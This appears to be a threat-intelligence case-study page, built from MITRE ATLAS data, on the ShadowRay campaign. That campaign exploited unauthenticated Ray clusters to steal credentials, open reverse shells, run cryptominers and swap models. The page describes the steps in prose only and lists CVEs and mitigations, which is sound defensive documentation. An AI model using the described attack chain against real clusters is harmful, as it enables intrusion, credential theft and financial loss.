APromptRiskDBThreat intelligence atlas
AI Case Study

ShadowRay - AI Case Study

Ray is an open-source Python framework for scaling production AI workflows. Ray's Job API allows for arbitrary remote execution by design. However, it does not offer authentication, and the default configuration may expose the cluster to the internet. Researchers at Oligo discovered that Ray clusters have been actively exploited for at least seven months. Adversaries can use victim organization's compute power and...

View attack chainRead summary
IncidentMultiple systemsRayInitial AccessReconnaissanceCollection

Overview

Case steps7Steps described in the case record.
Techniques7Attack methods mentioned in the case steps.
Linked CVEs5Known vulnerabilities mentioned in the record.

Risk patterns

Patterns found in the case record and its linked vulnerabilities.

  • 1Dominant ATLAS tactic. Initial Access appears in 2 case steps.
  • 2Multiple attack methods. The case connects to 7 unique AI attack methods.
  • 3Vulnerability mentions. The record connects 5 vulnerability identifiers to this case.

Procedure timeline

Search the case steps or filter them by attacker goal.

Initial Access2Reconnaissance1Collection1Credential Access1Exfiltration1Impact1
  1. Reconnaissance

    Adversaries can scan for public IP addresses to identify those potentially hosting Ray dashboards. Ray dashboards, by default, run on all network interfaces, which can expose them to the public internet if no other protective mechanisms are in place on the system.

  2. Initial Access

    Once open Ray clusters have been identified, adversaries could use the Jobs API to invoke jobs onto accessible clusters. The Jobs API does not support any kind of authorization, so anyone with network access to the cluster can execute arbitrary code remotely.

  3. Collection

    Adversaries could collect AI artifacts including production models and data. The researchers observed running production workloads from several organizations from a variety of industries.

  4. Credential Access

    The attackers could collect unsecured credentials stored in the cluster. The researchers observed SSH keys, OpenAI tokens, HuggingFace tokens, Stripe tokens, cloud environment keys (AWS, GCP, Azure, Lambda Labs), Kubernetes secrets.

  5. Exfiltration

    AI artifacts, credentials, and other valuable information can be exfiltrated via cyber means. The researchers found evidence of reverse shells on vulnerable clusters. They can be used to maintain persistence, continue to run arbitrary code, and exfiltrate.

  6. Step 6

    Model

    Initial Access

    HuggingFace tokens could allow the adversary to replace the victim organization's models with malicious variants.

  7. Impact

    Adversaries can cause financial harm to the victim organization. Exfiltrated credentials could be used to deplete credits or drain accounts. The GPU cloud resources themselves are costly. The researchers found evidence of cryptocurrency miners on vulnerable Ray clusters.

Related CVEs

Known software flaws mentioned in the case record.

CVE-2023-48022

CVE-2023-48023

CVE-2023-6019

CVE-2023-6020

CVE-2023-6021

Mitigations

Defenses connected to the attack methods in this case.

AI Model Distribution Methods

Deploying AI models to edge devices can increase the attack surface of the system. Consider serving models in the cloud to reduce the level of access the adversary has to the model. Also consider computing features in the cloud to prevent gray-box attacks, where an adversary has access to the model preprocessing methods.

Code Signing

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. Adversaries can embed malicious code in AI software or models. Developers should also cryptographically sign SBOM and AIBOM components that track model or data provenance. Enforcement of code signing can prevent the compromise of the AI supply chain and prevent execution of malicious code.

Control Access to AI Models and Data at Rest

Establish access controls on internal model registries and limit internal access to production models. Limit access to training data only to approved users.

Encrypt Sensitive Information

Encrypt sensitive data such as AI models to protect against adversaries attempting to access sensitive data.

Limit Model Artifact Release

Limit public release of technical project details including data, algorithms, model architectures, and model checkpoints that are used in production, or that are representative of those used in production.

Use Ensemble Methods

Use an ensemble of models for inference to increase robustness to adversarial inputs. Some attacks may effectively evade one model or model family but be ineffective against others.

Validate AI Model

Validate that AI models perform as intended by testing for backdoor triggers, potential for data leakage, or adversarial influence. Monitor AI model for concept drift and training data drift, which may indicate data tampering and poisoning.

Sources

Original public records and references for this case.

Original source

Original source links

Open the MITRE ATLAS data and public references used for this case study.

Repositoryhttps://github.com/mitre-atlas/atlas-dataATLAS.yamlhttps://github.com/mitre-atlas/atlas-data/blob/main/dist/ATLAS.yamlSchemahttps://github.com/mitre-atlas/atlas-data/blob/main/dist/schemas/atlas_output_schema.jsonShadowRay: First Known Attack Campaign Targeting AI Workloads Actively Exploited In The Wildhttps://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wildShadowRay: AI Infrastructure Is Being Exploited In the Wildhttps://protectai.com/threat-research/shadowray-ai-infrastructure-is-being-exploited-in-the-wildCVE-2023-48022https://nvd.nist.gov/vuln/detail/CVE-2023-48022Anyscale Update on CVEshttps://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023